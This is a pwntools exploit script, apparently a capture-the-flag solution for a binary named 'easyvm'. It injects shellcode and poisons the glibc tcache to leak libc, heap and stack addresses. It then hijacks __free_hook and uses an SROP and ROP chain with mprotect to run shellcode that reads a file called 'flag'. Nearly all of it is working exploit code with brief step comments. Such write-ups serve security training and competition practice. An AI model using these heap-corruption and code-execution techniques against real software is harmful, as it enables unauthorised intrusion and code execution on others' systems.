from pwn import * import os, struct, random, time, sys, signal
context.arch = 'amd64' sh = process('./easyvm')
payload = asm('''
sub rsp, 0x800 mov r13, rsp mov r14, rsp add r14, 0x400
;// write(STDOUT_FILENO, malloc(0x40), 0x18); -> fd 3 ;// malloc(0x40) comes from unsortbin at this time.
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 0x100 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x40 mov eax, 2 syscall
mov edi, 3 mov rsi, r13 mov edx, 0x18 mov eax, 0 syscall
mov edi, 1 mov rsi, r13 mov edx, 0x18 mov eax, 1 syscall
;// malloc(0x40); -> fd 4
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 24 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x40 mov eax, 2 syscall
;// malloc(0x40); -> fd 5
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 24 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x40 mov eax, 2 syscall
;// malloc(0xf0); -> fd 6
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 24 mov eax, 0 syscall
mov rdi, r13 mov esi, 0xf0 mov eax, 2 syscall
;// close(fd 4); ;// close(fd 5);
mov edi, 4 mov eax, 3 syscall
mov edi, 5 mov eax, 3 syscall
;// read(STDIN_FILENO, fd 6, 0x38); ;// Here it will tamper with tcache_entry->next which size is 0x40.
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 0x38 mov eax, 0 syscall
mov edi, 6 mov rsi, r13 mov edx, 0x38 mov eax, 1 syscall
;// malloc(0x40); -> fd 4
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 24 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x40 mov eax, 2 syscall
;// malloc(0x40); -> fd 5 ;// Get __free_hook address.
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 24 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x40 mov eax, 2 syscall
;// read(STDIN_FILENO, fd 5, 8); ;// Change __free_hook into printf
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r13 mov edx, 8 mov eax, 0 syscall
mov edi, 5 mov rsi, r13 mov edx, 8 mov eax, 1 syscall
;// printf("%246$p#");
;// "%246$p#" mov rax, 0x23702436343225 push rax mov edi, 1 mov rsi, rsp mov edx, 7 mov eax, 1 syscall pop rax
;// Change __free_hook into gets
mov rax, 0x21ce0 add [r13], rax
mov edi, 5 mov rsi, r13 mov edx, 8 mov eax, 1 syscall
;// Prepare for SROP
mov rdi, r13 mov esi, 0xc0 mov eax, 2 syscall
mov edi, 7 mov eax, 3 syscall
;// Change __free_hook into ret
mov rax, 0x61477 sub [r13], rax
mov edi, 5 mov rsi, r13 mov edx, 8 mov eax, 1 syscall
;// Change __free_hook into setcontext as gets() happens.
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 0 mov rsi, r14 mov edx, 0x3e1 mov eax, 0 syscall
mov rdi, r13 mov esi, 0x300 mov eax, 2 syscall
mov rax, 0x61477 sub [r13], rax
mov rdi, r13 mov esi, 0x300 mov eax, 2 syscall
;// "$ " push 0x2024 mov edi, 1 mov rsi, rsp mov edx, 2 mov eax, 1 syscall pop rax
mov edi, 8 mov rsi, r14 mov edx, 0x300 mov eax, 1 syscall
hlt
''')
sh.sendlineafter(b'Send your code:\n', payload)
sh.sendafter(b'$ ', b'/dev/tttt\0')
result = u64(sh.recvn(8)) libc_addr = result - 0x1ec1f0 success('libc_addr: ' + hex(libc_addr))
sh.recvn(8) result = u64(sh.recvn(8)) heap_addr = result - 0x31b20 success('heap_addr: ' + hex(heap_addr))
sh.sendafter(b'$ ', b'/dev/1\0') sh.sendafter(b'$ ', b'/dev/2\0')
sh.sendafter(b'$ ', b'a' * 24)
sh.sendafter(b'$ ', b'b' * 0x28 + p64(0x51) + p64(libc_addr + 0x1eeb28))
sh.sendafter(b'$ ', b'/dev/3\0') sh.sendafter(b'$ ', b'/dev/4\0')
sh.sendafter(b'$ ', p64(libc_addr + 0x64e10))
sh.recvuntil(b'0x') result = int(sh.recvuntil(b'#', drop=True), 16) stack_addr = result success('stack_addr: ' + hex(stack_addr))
sh.send(b'\n\n\n') sh.sendline(b'\0' * 0xd0 + p64(stack_addr-0xf0)) sh.send(b'\n')
layout = [ libc_addr + 0x0000000000026b72, stack_addr & (~0xfff), libc_addr + 0x0000000000027529, 0x2000, libc_addr + 0x0000000000162866, 7, 0, libc_addr + 0x000000000004a550, 0xfffffffffffffffa, libc_addr + 0x000000000013e47a, libc_addr + 0x0000000000066229, stack_addr - 0x90, ]
shellcode = asm(''' mov eax, 0x67616c66 ;// flag push rax
mov rdi, rsp xor eax, eax mov esi, eax mov al, 2 syscall ;// open
push rax mov rsi, rsp xor eax, eax mov edx, eax inc eax mov edi, eax mov dl, 8 syscall ;// write open() return value
pop rax test rax, rax js over
mov edi, eax mov rsi, rsp mov edx, 0x01010201 sub edx, 0x01010101 xor eax, eax syscall ;// read
mov edx, eax mov rsi, rsp xor eax, eax inc eax mov edi, eax syscall ;// write
over: xor edi, edi mov eax, 0x010101e8 sub eax, 0x01010101 syscall ;// exit ''') sh.sendafter(b'$ ', flat(layout) + shellcode)
sh.interactive()
|